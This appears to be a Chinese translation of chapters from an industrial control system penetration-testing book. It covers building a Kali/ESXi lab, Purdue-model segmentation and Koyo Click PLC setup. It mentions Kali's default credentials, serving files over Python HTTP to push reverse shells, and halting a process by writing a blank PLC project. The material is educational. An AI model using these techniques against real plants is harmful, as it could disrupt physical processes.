我们将使用Kali Linux对实验室中的设备进行测试,包括虚拟和物理设备。这是一个全面的平台,包括gpg 签名的软件包,并有一个庞大的开发社区。还有许多其他显著的渗透测试框架,如现在的controlthings.io,以前称为SamuraiSTFUControlThings提供了一系列专门针对 ICS/OT 环境的工具,还包括了用于测试目的的pcaps回放功能。此外,它们还提供了无数的仿真器,使您可以真正磨练评估技能。Parrot OS是一个安全平台,因其用户友好的界面、低内存消耗和默认的匿名浏览功能而广受欢迎。它是您渗透测试工具库中的一个强大框架。

Kali Linux 有一个简单直接的安装过程。

您需要按照之前为 Ubuntu 和 Windows 7 执行的相同步骤,将 Kali ISO 上传到数据存储,并将 ISO 挂载到 DVD 驱动器上并引导虚拟机。

接下来,根据您所在地区的选项进行安装设置。虚拟实验室的一个很棒的部分是,一旦启动了一台机器,您可以调整其硬件设置。以下截图显示了我开始使用的硬件配置设置:

图 1.25 – Kali Linux 配置

图 1.25 – Kali Linux 配置

安装过程的最后一步是选择要安装的软件。我个人选择了large版本以预装更多工具。这个选择如下截图所示:

图 1.26 – 软件选择

图 1.26 – 软件选择

接下来,使用在初始安装过程中设置的用户登录Kali系统。

提示

一些关于BackTrack/Kali凭据的快速历史是,root:toor自我开始使用BackTrack 4以来一直是默认凭据。现在,它们已经更改为kali:kali。所以,如果你恰好是Blue Team阵营的一员,请确保为这些已知凭据建立一个入侵检测规则IDR)。

你将看到一个登录屏幕,如下截图所示:

图 1.27 – Kali Linux 登录界面

图 1.27 – Kali Linux 登录界面

接下来,我们将像在 Ubuntu 中一样更新 Kali,并安装与之前安装的类似的软件包。

关键软件包使用以下命令安装:

  • sudo apt install python3-pip

  • pip3 install pymodbus

  • pip3 install cpppo

  • git clone (github.com/sourceperl/mbtget.git)

  • cd mbtget

  • perl Makefile.PL

  • make

  • sudo make install

现在,如果没有出现错误,您应该在您的虚拟化平台上安装了四个虚拟机,如下截图所示:

图 1.28 – 虚拟机

图 1.28 – 虚拟机

在本节中,我们安装了一个 Windows 7 工程工作站和一个将在实验室中模拟攻击者的 Kali Linux 主机。我们将从这里启动各种枚举、利用和攻击。在下一节中,我们将继续通过设置与 Purdue 模型 相关的 层次 来设计和实施网络分段。

路由和规则

在设置我们的 虚拟实验室网络 时,我们希望尝试模仿真实世界的分段策略。话虽如此,谈论 OT 网络时很难不提及 Purdue 模型。这个模型已被几乎所有行业用作构建网络分层基线的参考方法。这些层次如下:

  • Level 5: Enterprise

  • Level 4: Site Business Systems

  • Level 3: Operations and Control

  • Level 2: Localized Control

  • Level 1: Process

  • Level 0: I/O

因此,忠于原则,我们将在我们的实验室中采取相同的方法。我们将首先将虚拟 PLC 放入 Level 1,将 SCADA VM 放入 Level 2,将 Windows 7 工程工作站放入 Level 3,最后将我们的 Kali Linux 攻击主机放入 Level 5。我们需要登录 ESXi 并点击 Networking。这将显示一个屏幕,显示与 ESXi 网络基础设施相关的多个选项卡,如下所示:

图 1.29 – 网络仪表板

图 1.29 – 网络仪表板

我们将在 Virtual switches 选项卡上创建一个新的交换机。首先填写 vSwitch Name 选项并将 Link discovery Mode 更改为 Both,如下截图所示。这允许有关物理和虚拟交换机的详细信息被发布并可用:

图 1.30 – 配置虚拟交换机

图 1.30 – 配置虚拟交换机

我们将返回并在第五章中更改 Promiscuous modeSpan Me If You Can,当我们讨论 入侵检测系统(IDS) 时。完成后,您应该看到您的新虚拟交换机。

接下来,我们想进入端口组标签。从这里,我们点击添加端口组,这将弹出一个窗口,在这里我们可以设置名称VLAN,并将端口组与虚拟交换机关联。对于端口安全性,我们将默认继承之前步骤中创建的vSwitch1的安全设置。所有这些细节可以在以下截图中看到:

图 1.31 – 端口组配置

图 1.31 – 端口组配置

现在,我们想通过添加剩余的网络来完成该过程:

  • 企业

  • 站点业务系统

  • 操作与控制

  • 本地化控制

完成后,您将看到与专用交换机关联的端口组。请注意,完成分段并遵循普渡模型有多种方式:

图 1.32 – 端口组仪表盘

图 1.32 – 端口组仪表盘

如您所见,我们的所有虚拟机仍与 VM 网络关联。下一步是将虚拟机移入各自的独立段,并手动设置它们的 IP 地址和范围。我们将从 PLC 虚拟机开始,因此我们需要从导航栏选择虚拟机,然后点击PLC 虚拟机。点击编辑按钮,这将带您到以下页面:

图 1.33 – 端口组选择

图 1.33 – 端口组选择

我们想将网络适配器VM 网络切换到Level 1: 进程,然后点击保存。接下来,我们需要手动设置 PLC 的 IP 地址。所以,我们需要打开控制台,登录 PLC,并导航到网络设置

您将看到以下页面:

图 1.34 – 网络设置

图 1.34 – 网络设置

从这里,我们可以点击有线设置选项。然后,会弹出一个窗口。接下来,您需要选择位于紫色滑块旁边的齿轮图标,如以下截图所示:

图 1.35 – 有线网络接口

图 1.35 – 有线网络接口

在这一点上,我们应该花点时间讨论我们的 IP 地址方案。

在这里,我们将每个网络段拆分为专用的 IP 范围,如下表所示:

现在,我们可以为我们构建的虚拟机预先分配 IP 地址。

我们将分配以下 IP 地址:

  • PLC**: **192.168.1.10

  • SCADA**: **192.168.2.10

  • **工作站: **192.168.3.10

  • Kali**: **172.16.0.10

我们可以通过在基于 Linux 的发行版上运行ip addr命令来检查机器,以确保 IP 地址已生效,如以下截图所示:

图 1.36 – 检查网络地址

图 1.36 – 检查网络地址

在此,选择 IPv4,然后选择 手动 选项。为所有三个 – PLC、SCADA 和 Kali 设置 Linux 基础的发行版 IP 地址的选项应出现在 地址 下,如以下截图所示:

图 1.37 – Ubuntu 手动 IP 配置

图 1.37 – Ubuntu 手动 IP 配置

现在,我们可以继续进行 Windows 7 配置,并在那里手动设置 IP 地址。Windows 7 配置如下所示:

图 1.38 – Windows 7 网络配置

图 1.38 – Windows 7 网络配置

确保 PLC、SCADA 和工作站能够互相 ping 通,通过运行 ping 命令,如以下截图所示:

图 1.39 – 检查虚拟机之间的通信

图 1.39 – 检查虚拟机之间的通信

我们现在已经成功地设置了网络分段,使其代表 Purdue 模型。所有 IP 地址都已静态设置,并且我们已经测试了各个层级和虚拟机之间的通信。

概述

在本章的介绍中,我们涵盖了相当多的细节。我们提到了虚拟化的重要性,以及熟悉不同平台提供商的必要性。通过安装自己的 Fusion 桌面和 ESXi 服务器,我们对 VMware 进行了深入了解。然后,我们下载并安装了四个独特的虚拟机,并配置了网络方案,使其与 Purdue 模型对齐。

经过这一系列努力,我们现在已经为构建实验室奠定了坚实的基础。接下来,我们将通过根据需要添加软件并利用攻击虚拟机运行我们设计的场景,继续构建这个实验室。

在下一章中,我们将通过安装与我们的硬件 PLC 通信的工程软件,构建实验室的物理组件。

第二章:路由硬件

本章将带你踏上理解如何将物理硬件连接到虚拟基础设施的精彩旅程。了解一台运行ESXi的机器如何将通信路由到本地可编程逻辑控制器PLC)、人机界面HMI)及其他类似设备。首先,本节将使用Koyo Click软件和硬件,因为 Koyo Click PLC 是一个非常具成本效益的选择,而其工程编程软件是免费的,这与其他主流厂商需要支付高额费用来获得编程软件许可证的做法不同。需要注意的是,本章讨论的原理和方法也适用于其他自动化厂商,如西门子、罗克韦尔、施耐德、欧姆龙、三菱等。如果获取 Koyo Click 比较困难,你可以选择你自己的 PLC 进行学习。请注意,你需要获得所选厂商的工程编程软件。我们将安装Click 软件,设置物理PLC,并最终配置虚拟机与物理 PLC 之间的通信。

熟悉工业技术的编程方式将极大提高你在渗透测试中的成功率。了解软件的反应机制、它所使用的资源以及通信方式将帮助你发现潜在的入口点。

本章将涵盖以下主要内容:

  • 安装 Click 软件

  • 设置 Koyo Click

  • 配置通信

技术要求

本章所需的设备:

安装 Click 软件

欢迎来到本章的第一个主题。在本节中,我们将一步步演示如何安装 Koyo Click 软件。这个软件将帮助我们与 Koyo Click PLC 进行通信,并上传和下载程序。

在开始之前,我想再次强调,这不是 Koyo Click 或 AutomationDirect 的销售宣传;它只是一个非常灵活、多功能、全面且具有成本效益的 PLC 选择。此外,AutomationDirect 是一个一站式商店,你可以在这里下单并获得构建完整实验室所需的一切。

在我们开始之前,让我们访问 AutomationDirect 网站。请点击以下链接:www.automationdirect.com/support/software-downloads?itemcode=CLICK

我们将下载来自 AutomationDirect 的 Koyo Click 编程软件。一旦你访问了上述链接,你将看到以下界面:

图 2.1 – 点击软件下载

图 2.1 – 点击软件下载

接下来,点击绿色的下载按钮,系统会弹出通知并要求输入电子邮件地址,如图 2.2所示,随后需要进行电子邮件地址确认以继续操作:

图 2.2 – 电子邮件确认

图 2.2 – 电子邮件确认

一旦你的电子邮件地址确认无误,软件开始下载。现在你应该已经下载好了软件。你需要将其传输到我们在第一章中创建的Windows 7 虚拟机上,使用虚拟化。有很多方法可以做到这一点——在虚拟机上建立第二个接口并将其放置在ESXi 虚拟化主机的网络段中是一种可行的方式。传输文件有多种不同的协议/工具。我通常选择最简单的方式,这已经成为我的第二天性。在评估过程中,我通过简单地启动一个Python 3 网络服务器,并让Windows 7 机器访问该文件并下载,完成了许多文件传输和反向 shell 推送操作。

以下是启动 Python 3 网络服务器的命令:

图 2.3 – 启动 python3 网络服务器

图 2.3 – 启动 python3 网络服务器

当客户端连接时,你可以看到 HTTP 200 OK 成功状态响应代码,如下所示:

图 2.4 – 成功状态的响应代码

图 2.4 – 成功状态的响应代码

如你所见,Windows 7 机器已连接并下载了软件文件。下图显示了本地服务器上托管的目录列表

图 2.5 – Python HTTP 服务器目录列表

图 2.5 – Python HTTP 服务器目录列表

我提到这个是因为将来建立这种习惯会非常有用,它将在未来的渗透测试工作中派上用场,特别是当你需要在主机和你试图破解的机器之间移动文件时。

该截图展示了可以提取的CD 镜像,以启动安装过程:

图 2.6 – Koyo Click CD 镜像

图 2.6 – Koyo Click CD 镜像

现在我们已经将软件下载到 Windows 7 虚拟机VM)上,我们需要提取光盘镜像并运行随后的安装选项:

图 2.7 – 安装点击软件

图 2.7 – 安装点击软件

这时会弹出一个用户帐户控制UAC)对话框,如图 2.8所示,我们需要点击按钮。点击后,软件将生成一个对话框,允许我们安装CLICK 编程软件

图 2.8 – 接受 UAC 安装验证

图 2.8 – 接受 UAC 安装验证

接下来的截图将引导你完成安装点击编程软件。我们首先点击安装软件按钮,如下图所示:

图 2.9 – 点击编程软件

图 2.9 – 点击编程软件

现在你应该能看到如图 2.10所示的页面。点击下一步 >按钮继续执行InstallShield 向导,此时会弹出一个对话框提示你在 Windows 7 机器上禁用防病毒软件,因为它会导致编程软件无法正确和完全安装:

图 2.10 – 点击 InstallShield

图 2.10 – 点击 InstallShield

要启用此功能,只需点击确定,确认防病毒软件未开启,理论上它不应该开启,因为我们在第一章中并未安装任何防病毒软件,使用虚拟化

图 2.11 – 防病毒检查

图 2.11 – 防病毒检查

在下一个截图中,我们要接受许可协议并点击下一步 >

图 2.12 – 许可协议

图 2.12 – 许可协议

这将导致出现如图 2.13所示的页面。在框中填写用户名公司名称。从图 2.13中你可以看到,我使用了我的名字保罗·史密斯ICS Lab作为公司名称。这是一个示例,你需要填写你自己的信息:

图 2.13 – 配置客户信息

图 2.13 – 配置客户信息

现在将加载以下页面:

图 2.14 – 选择目标位置

图 2.14 – 选择目标位置

在这个页面上,你将选择软件安装的目标位置。我个人保持了默认文件夹结构,如图 2.14所示,在更改按钮的左侧。然后,点击下一步 >按钮,接着会生成另一个对话框,让你继续点击如下:

图 2.15 – 安装程序

图 2.15 – 安装程序

安装程序完成后,InstallShield 会询问您是否要创建桌面图标,如图 2.16所示。我选择了此选项,因为以后更容易找到:

图 2.16 – 创建桌面图标

图 2.16 – 创建桌面图标

最后,我们完成了安装,过程应该不算太痛苦。点击完成,如图 2.17所示,然后启动软件:

图 2.17 – 完成安装

图 2.17 – 完成安装

双击CLICK 编程软件图标启动程序。它应该会像下面这样显示在您的桌面上:

图 2.18 – CLICK 编程软件图标

图 2.18 – CLICK 编程软件图标

这将启动以下对话框,允许我们开始一个新项目打开现有项目连接到 PLC

图 2.19 – 开始一个新项目

图 2.19 – 开始一个新项目

一旦我们到达这里,一切都已设置完毕,准备就绪。

现在,如果我不指出明显的问题,那就对不起你了,也许你正问自己同样的问题:哈希在哪里? 这是水坑攻击的典型例子。水坑攻击是一种攻击手段,攻击者通过毒害软件包或更新,并将其发布到一个网站上,供设备或软件的用户下载这个已损坏的文件。这与我们在第一章中简要提到的SolarWinds攻击非常相似,使用虚拟化。如果一个广泛使用的技术被入侵,这种攻击可能带来非常深远且广泛的影响。

因此,今后,请特别留意获取工业控制系统ICS)设备的软件来源以及它对您的 SCADA/ICS 系统可能产生的控制影响。现在我们将继续进行硬件设置,但稍后我们将回到软件部分。

设置 Koyo Click

我有几种不同型号的设备,但我将重点介绍C0-10ARE-D型号,这是以太网基础 PLC 单元。如果您没有 Koyo Click,也可以使用任何其他类型或型号的 PLC 和工程软件来进行操作。选择使用 Koyo 是因为它是我手头有的少数几台备用控制器之一,而且它没有被用于项目中。然而,更重要的是,这台设备专门用于该 PLC 的以太网通信端口,并且其工程软件是免费的。此外,它利用离散 I/O 来驱动和断开线圈的电流,并将有助于在我们ICS实验室中建立实际过程与设备之间的关联。

默认情况下,Koyo Click 配备了两种本地协议:

  • Modbus

  • 以太网/IP

如果你还记得上一章,我们安装的工具专注于这些协议,以便我们通过本地通信路径与设备进行交互。现在,关于Koyo Click的另一个吸引人的特点是设计可扩展性,Click 的模块化使其能够添加不同的控制功能,从模拟到数字,再到继电器控制和专用模块。你可以将它们堆叠在一起,扩展控制范围,适应几乎任何项目,并且拥有无限的 I/O。

以下链接将带你到AutomationDirectCLICK PLC设备:www.automationdirect.com/adc/overview/catalog/programmable_controllers/click_series_plcs/

现在,你可以为 PLC 运行自己的电源,但是考虑到 C0-01AC 的价格,将它们打包在一起同样方便。我建议选择 01AC 而不是 00AC 电源的原因是,你可以为实验室做好未来规划,而 01AC 具有 1.3A 的电流,能够支持并驱动完全扩展的控制器。

这是C0-01AC电源的图片:

图 2.20 – C0-01AC 电源

图 2.20 – C0-01AC 电源

这是我将在实验室使用的 Koyo Click 型号C0-10ARE-D的图片:

图 2.21 – 控制器

图 2.21 – 控制器

一旦你在实验室里有了电源和 PLC,确保将墙壁上的端子接到电源上,再将电源连接到控制器的底部。

你将看到为控制器提供电源所需的端子。现在我们已经为控制器提供了电源,接下来连接一根以太网线,将 PLC 与计算机连接起来。这可以通过直接连接或通过交换机完成。

下一步是打开 CLICK 编程软件,选择连接到 PLC,这时会弹出一个Windows 安全警告对话框,询问你是否允许这种连接类型在私人网络和公共网络上进行。由于这是一个实验室并且是隔离的,我选择启用这两个选项,如下截图所示:

图 2.22 – 防火墙访问

图 2.22 – 防火墙访问

一旦你点击了屏幕底部的允许访问,将会弹出一个对话框,允许你连接到CLICK PLC。在这里,你需要选择端口类型,有三种选择:

  • USB

  • 串行

  • 以太网

我们当然会选择以太网,然后继续选择下一个选项,即选择特定的网络适配器。根据你的系统,可能会有多个适配器。选择一个与CLICK PLC有连接路径的网络适配器。如果在 PLC 和 Windows 7 虚拟机之间存在路径,你应该能看到 PLC 的IP 地址子网掩码部件号固件模式状态MAC 地址,如以下截图所示:

图 2.23 – 连接到 PLC

图 2.23 – 连接到 PLC

从这里,你可以选择 PLC 并点击连接按钮。这时会显示另一个Windows 安全警报,但这次是针对通信服务器,并允许它在私有或公共网络上进行通信。你可以在以下截图中看到它的样子:

图 2.24 – 允许防火墙访问

图 2.24 – 允许防火墙访问

点击屏幕底部的允许访问。一旦点击,你应该会看到一个网络不匹配的错误,如下图所示,因为我们仍然需要通过ESXi配置到 PLC 的网络连接,并将 PLC 置于正确的网络中:

图 2.25 – 子网匹配错误

图 2.25 – 子网匹配错误

这引导我们进入本章的下一部分,在这一部分中,我们将配置硬件以进行通信,并确保位于正确的子网中。

配置通信

现在我们知道有一条路径通向物理 PLC,但我们无法与之通信。解决方案是,我们需要调整 Windows 7 虚拟机的 IP 地址,使其与 PLC 所在的子网对齐。这将允许我们直接连接到 PLC 并将地址配置为与上一章中为虚拟 PLC 设定的子网对齐。

通过查看图 2.26,我们需要确保为 Windows 7 提供一个可以 ping 通 Koyo CLICK 的IP 地址。我决定任意选择192.168.0.20,因为我的 CLICK 的默认地址是192.168.0.10,然而根据你的 Koyo CLICK 的默认地址,你需要适当地调整它:

图 2.26 – 配置 Windows 界面

图 2.26 – 配置 Windows 界面

一旦设置了 IP 地址,你可以启动 CLICK 编程软件并点击连接到 PLC,然后选择你看到的 PLC。如果一切配置正确,你应该会看到如图 2.27所示的页面。此步骤将允许你读取 PLC 中的现有项目,或直接跳过读取:

图 2.27 – PLC 中的预先存在的项目

图 2.27 – PLC 中的预先存在的项目

提示/重要说明

始终从 PLC 读取项目是一个良好的做法。很有可能没有人备份当前运行的项目文件,而这次连接可能是唯一获取副本的机会。

如果攻击者在此级别取得立足点,能够访问 PLC 并读取/写入项目文件,他们不必是 L337 高手也能造成重大破坏。他们只需要将一个空白项目文件写入 PLC,过程就会停止。如果他们没有本地备份,这可能意味着数百万美元的损失,因为停机时间。大公司通常会将这些备份的责任和管理交给他们外包的第三方工程公司,这些公司负责设备的运行和维护。

在下方的截图中,你可以看到有两个选项呈现给我们。如前所述,我们将选择从 PLC 读取项目

图 2.28 – 读取项目文件

图 2.28 – 读取项目文件

现在,你应该看到一个空白项目摆在你面前。我们将去更改 PLC 地址信息,以便与我们在第一章中提到的设计相对接,使用虚拟化。你需要点击设置,然后选择通信端口设置,如以下截图所示:

图 2.29 – 通信端口设置

图 2.29 – 通信端口设置

这将向你展示 CLICK PLC 的布局,并让你选择两个可用端口的设置。继续选择端口 1设置,这将是以太网端口,如以下截图所示:

图 2.30 – Koyo Click COM 端口设置

图 2.30 – Koyo Click COM 端口设置

从这里,你可以看到如以下截图所示的两个选项:

  • 使用默认固定地址

  • 手动设置:

图 2.31 – 通信端口设置详情

图 2.31 – 通信端口设置详情

我们将手动设置这些信息,所以选择手动设置选项,如图 2.32所示。

这将打开IP 地址子网掩码默认网关

图 2.32 – 设置 IP 地址

图 2.32 – 设置 IP 地址

根据第一章中提到的使用虚拟化,我们知道我们的虚拟 PLC 位于第 1 级:过程中,正如以下表格所示:

接下来,我们将为我们构建的虚拟机预先分配 IP 地址。

我们将分配以下 IP 地址:

  • PLC192.168.1.10

  • SCADA192.168.2.10

  • 工作站192.168.3.10

  • Kali172.16.0.1

我们将设置物理 PLC 与虚拟 PLC 在同一子网中,设置如下:

  • CLICK192.168.1.20

  • 设置 IP 地址192.168.1.20

  • 设置子网掩码255.255.0.0

  • 设置网关192.168.1.1

现在,要提交更改,你需要将项目写入 PLC,导航到 PLC 菜单,选择写入项目到 PLC...,如下图所示:

图 2.33 – 写入项目到 PLC

图 2.33 – 写入项目到 PLC

如果你跟着操作,编程软件应该会抛出一个像这样的错误:

图 2.34 – 语法错误

图 2.34 – 语法错误

如果你查看输出窗口,你应该会看到一个有用的提示,内容是主程序中没有无条件的 END 指令,如下所示:

图 2.35 – 调试窗口

图 2.35 – 调试窗口

如果出于某些原因,你没有看到输出窗口,请导航到视图 | 窗口 | 输出来开启它,以下截图演示了这一点:

图 2.36 – 视图选择

图 2.36 – 视图选择

在这里,我们需要向某个梯级添加一个无条件结束。查看指令列表,滚动直到你找到End功能,如下所示:

图 2.37 – 指令列表

图 2.37 – 指令列表

接下来,将End功能拖到其中一个( NOP )输出位置,如下所示:

图 2.38 – 梯形图

图 2.38 – 梯形图

你应该看到END功能替换了( NOP )作为输出:

图 2.39 – 指令替换

图 2.39 – 指令替换

现在,让我们返回到写入项目到 PLC,回顾一下,这个选项在PLC菜单项下。现在我们的项目应该可以编译并显示一个对话框,展示我们对端口 1所做的更改。点击新更改的 Port1 配置底部的按钮,按钮上标有使用此设置,如下所示:

图 2.40 – 设置项目详情

图 2.40 – 设置项目详情

一旦点击,它会显示一个错误,指出 Windows 7 虚拟机与 CLICK 之间的通信将丢失,以下截图展示了这一点:

图 2.41 – 确认更新

图 2.41 – 确认更新

点击确定,并继续到写入项目到 PLC界面,如下所示:

图 2.42 – 写入项目详情

图 2.42 – 写入项目详情

在这里,我们会被提示进行最终检查,在将更改推送到 PLC 之前。如果没有错误,点击确定,完成后你将看到一个传输完成的对话框,如下所示:

图 2.43 - 传输完成

图 2.43 - 传输完成

现在你可以看到 IP 地址已经改变,所以点击 Figure 2.44 中显示的 连接 按钮,你应该会收到超时错误。这没关系,因为我们移动了子网:

Figure 2.44 – PLC 连接

Figure 2.44 – PLC 连接

现在,如果你回忆起我们的 ESXi 网络架构,你会注意到 未设置物理适配器,如 Figure 2.45 所示。这意味着虚拟 PLC 和物理 PLC 之间无法通信:

Figure 2.45 – vSwitch 拓扑结构

Figure 2.45 – vSwitch 拓扑结构

我们可以通过登录到虚拟 PLC 快速测试这一点,并尝试 ping 物理 PLC,如下所示:

Figure 2.46 – Ping 连接测试

Figure 2.46 – Ping 连接测试

正如你所见,主机无法访问。我们需要做的是向虚拟交换机添加一个上行链路。选择 vSwitch1,并点击 添加上行链路,如下截图所示:

Figure 2.47 – 添加上行链路

Figure 2.47 – 添加上行链路

现在我们可以看到 Uplink 1 显示了一个下拉菜单,列出了物理网络适配器的列表。这完全取决于你的硬件设置。我决定保持一致性,vSwitch0 关联 vmnic0vSwitch1 关联 vmnic1,如下所示:

Figure 2.48 – 将物理 PLC 连接到虚拟交换机

Figure 2.48 – 将物理 PLC 连接到虚拟交换机

现在当你查看拓扑结构时,你应该看到一个物理适配器与你的 vSwitch 关联,并连接到在 Chapter 1 中创建的端口组,使用虚拟化

Figure 2.49 – 带有物理连接的 vSwitch 拓扑结构

Figure 2.49 – 带有物理连接的 vSwitch 拓扑结构

现在尝试从虚拟 PLC 到物理 PLC 发送 ping。你应该收到回复,如下截图所示:

Figure 2.50 – 连接测试

Figure 2.50 – 连接测试

现在稍作整理。由于我给 Windows 7 VM 添加了一个辅助适配器,以通过 VM 网络连接到 Koyo CLICK,我打算返回并断开该适配器,测试一下我是否仍然可以通过 vmnic1 连接到 CLICK:

Figure 2.51 – 连接到 PLC

Figure 2.51 – 连接到 PLC

瞧!我们已经从 Windows 7 到 CLICK PLC 有了一条路径。现在,对于阅读本书的网络专家们,我知道你们可能在暗自窃笑,心想,嗯,我们在使用 B 类子网掩码!当然,我们可以在子网之间通信! 首先,感谢你们阅读本书,这对我意义重大。其次,我觉得这是最省力的方式,而不是将防火墙装配到虚拟机中并编写策略,因为那可能需要一本专门的书来讲述。

摘要

我们已经在 Windows 7 虚拟机上安装了 Koyo Click 编程软件。我们还将电源连接到 Koyo Click PLC,并将其开启。我们成功地配置了 Koyo Click PLC 的物理网络,使其能够通过 ESXi vSwitch 与 Windows 7 接口的网络接口进行通信。

本章总结,我们已经成功运行了位于 Level 1: Process 网络段的 Koyo CLICK PLC,并在位于 Level 3: Operations network 网络段的 Windows 7 虚拟机上安装并测试了 CLICK 编程软件。我们还测试了虚拟 PLC 和物理 PLC 之间的网络通信。我们为前一章节中配置的 ESXi 虚拟交换机添加了一个物理适配器上行链路。

现在,我们对自动化工程师在开始项目时如何分配时间有了更清晰的了解。了解如何协调和安装软件将帮助你在未来的渗透测试中提升和磨练你的技能。

在下一章节中,我们将编写我们的第一个 PLC 程序并将其下载到 Koyo CLICK 上。

第三章:我爱我的比特 – 实验室设置

到目前为止,我们主要配置了网络的连接性。现在,我们将进入下一阶段。在本章中,我们将配置一个简单的程序,并使用安装在 Windows 7 虚拟机VM)上的软件,物理地改变 PLC 上的I/O。这一过程会通过虚拟机接口,通过虚拟交换机,到达物理适配器。然后,它会传递到物理管理交换机,并最终连接到 PLC。本章将扩展我们之前在第二章中开始设置的实验室,硬件路由。我们将通过一个演示方法,使用Koyo Click PLC人机界面HMI)I,将其连接到物理 I/O,以学习如何通过图形用户界面脚本编写实现开关灯的操作。

在本章中,我们将涵盖以下主要内容:

  • 编写和下载我们的第一个程序

  • 重写和接线 I/O

  • 控制测试

技术要求

本章所需材料:

  • 安装在 Windows 7 机器上的Koyo Click软件。

  • Koyo Click硬件电源和 PLC。

  • 一个物理网络交换机,用于在 PLC 和 ESXi 之间路由流量。

  • 一个选择开关站盒,用于切换 I/O 的电源开/关。

  • 一个工业信号塔灯,用于显示视觉反馈。

  • 一只电压表用于测试连通性。

  • 一根 14 号线,用于将选择开关站盒和信号塔灯连接到 PLC。

  • 剪线钳和剥线钳,用于处理和准备安装电线。

  • 螺丝刀(十字头和一字头)用于打开和关闭接线端子的紧固螺丝。

你可以在这里查看本章代码的实际操作:bit.ly/3v5w61B

编写和下载我们的第一个程序

现在到了令人兴奋的部分——编写我们的hello world自动化程序。我们将介绍如何构建一个简单的梯形逻辑程序,用于通电或断电一个线圈。这将帮助我们更深入地理解 Koyo Click 软件的工作原理。这一点很重要,因为每个 PLC、SCADA 和分布式控制系统DCS)都遵循相同的标准和准则。说到标准,有一个特别的标准你应该熟悉,那就是IEC 61131-3,它帮助定义了五种核心编程语言,如下所示:

  • 梯形图

  • 功能块图

  • 结构化文本

  • 指令列表

  • 顺序功能图

类似于软件编程语言,其中核心基本原理在所有语言中是相同的,主要变化在于语法,这五种语言中,有三种是基于图形的,两种是基于文本的。CLICK 编程软件使用梯形图作为核心编程语言,也叫做梯形逻辑,这是在过程自动化领域最常见的语言。它模仿电路,允许左侧的输入驱动右侧的输出。

首先,我们将打开在 Windows 7 机器上的 Koyo Click 软件,如下图所示:

图 3.1 – Koyo Click 软件

图 3.1 – Koyo Click 软件

从菜单栏中点击文件选项,然后选择新建项目…,如下所示:

图 3.2 – 新建项目…

图 3.2 – 新建项目…

接下来,您将看到一个对话框,如下图所示。您需要双击启动新项目图标:

图 3.3 – 启动新项目

图 3.3 – 启动新项目

现在,我们将进入选择 CPU 模块窗口,如下图所示。我们将在实验室使用在上一章推荐的 CPU。现在,您可能会问自己,“等等,这不是有更简单的方法吗?”,您是对的。在上一章,我们只需连接到 PLC,软件会自动检测并为我们选择正确的 CPU。然而,我想向您展示,建立项目的方式不止一种。话虽如此,您将看到类似以下的屏幕,您需要选择C0-10ARE-D,这是我们在上一章中讨论的:

图 3.4 – 选择实验室 CPU

图 3.4 – 选择实验室 CPU

在这里,您可以查看关于 CPU 的详细信息。我们有八个交流输入和六个继电器输出,以及关于功耗的信息。现在,点击确定继续 CPU 选择过程。

一旦点击,您将被带回到编程界面,如下所示:

图 3.5 – 主程序

图 3.5 – 主程序

在开始添加梯形图指令之前,我们需要配置一些小细节。选择设置菜单选项,然后点击系统配置,如下所示:

图 3.6 – 系统配置…

图 3.6 – 系统配置…

这将带我们到下面的屏幕,显示了我们PLC 机箱的图形布局。在这里,您可以看到我们之前选择的 CPU,并显示警告,指示我们没有足够的电源供应给 CPU。这仅仅是因为我们尚未在此屏幕上设置电源供应单元PSU):

图 3.7 – 系统配置窗口

图 3.7 – 系统配置窗口

点击第一列(P/S列)中的选择按钮,如前面的屏幕截图所示。您将看到选择电源的选项,如下面的屏幕截图所示。选择您购买并安装在实验室中的电源:

图 3.8 – 选择电源窗口

图 3.8 – 选择电源窗口

类似于我们之前看到的用于 CPU 的屏幕,我们可以看到有关我们购买的电源的更多细节,例如输入和输出电压以及生成的最大功率。继续点击确定以选择并应用电源到机箱概览。您现在应该看到一个代表连接到 CPU 的电源的图像。您会看到警告已经消失,因为电源足以为 CPU 供电:

图 3.9 – 更新的系统配置窗口

图 3.9 – 更新的系统配置窗口

现在,点击确定并立即进入程序。我们想创建一个简单的程序,允许我们按下按钮并点亮灯。但是,在我们开始之前,我想快速介绍一些术语:

  • 梯形图横梁:梯形图用于表示电气布线框架中的控制程序。电源是垂直线(梯形),而控制电路是水平线(横梁)。

  • 指令列表:这是用于设计程序电路的图形控件列表。

  • 接点:接点是二进制选择器的图形表示,类似于墙上的开关,没有更好的定义。

  • NO**/**NC常开常闭是我们想要控制 I/O 状态的接点的术语。常开接点意味着当接点打开时电路运行,反之亦然。

现在我们对布局和术语有了更好的理解,下一步是将一个 NO 接点拖到第一横排。然后,我们应该通过点击右侧的地址按钮来选择地址,如下面的屏幕截图所示:

图 3.10 – 插入一个接点

图 3.10 – 插入一个接点

会出现一个对话框,允许我们从 Koyo Click 提供的地址列表中选择所需的地址。在下面的截图中,我们可以看到列表选项,包括地址数据类型昵称等:

图 3.11 – 地址选择器

图 3.11 – 地址选择器

双击第一个地址;也就是X001。这将填充您的地址选择,如下截图所示:

图 3.12 – 选择的地址

图 3.12 – 选择的地址

点击确定按钮后,您应该看到您现在在横梁 1 上有一个地址为X001的接触输入,如下截图所示:

图 3.13 – 接触 X001

图 3.13 – 接触 X001

现在,既然我们有了一个输入,我们将需要一个输出。在用户界面右侧的指令列表菜单的线圈部分下,找到Out功能,并将其拖动到右侧的( NOP )位置,如下截图所示:

图 3.14 – 线圈输出

图 3.14 – 线圈输出

Out功能拖动到横梁 1 末端的( NOP )位置,如下所示:

图 3.15 – 输出

图 3.15 – 输出

一旦功能锁定,将创建一个对话框,要求程序员配置位内存寻址,如下所示:

图 3.16 – 线圈地址

图 3.16 – 线圈地址

点击内存地址选择器图标;将会出现一个地址选择器对话框,类似于我们在 NO 输入接触步骤中遇到的对话框。下面的截图显示,地址选择器会自动显示真实世界的输出地址列表:

图 3.17 – 地址选择器

图 3.17 – 地址选择器

选择Y001作为我们放置在横梁 1 上的线圈的输出地址,并选择确定。如下截图所示,它已经自动填充了位内存地址 1:的选择。您应该看到地址旁边有一个绿色的勾号,表示该地址是一个有效的内存位置:

图 3.18 – 位内存地址

图 3.18 – 位内存地址

点击确定继续并将线圈添加到输出位置,如下截图所示:

图 3.19 – 线圈输出

图 3.19 – 线圈输出

如果您想知道为什么我们选择X001Y001作为输入和输出地址,请看看您的 CLICK PLC 的正面。在端子条上,找到标有X1Y1引脚输出标签。这些地址直接与这些 I/O 端子相关联,如下图所示:

图 3.20 – 端子引脚

图 3.20 – 端子引脚

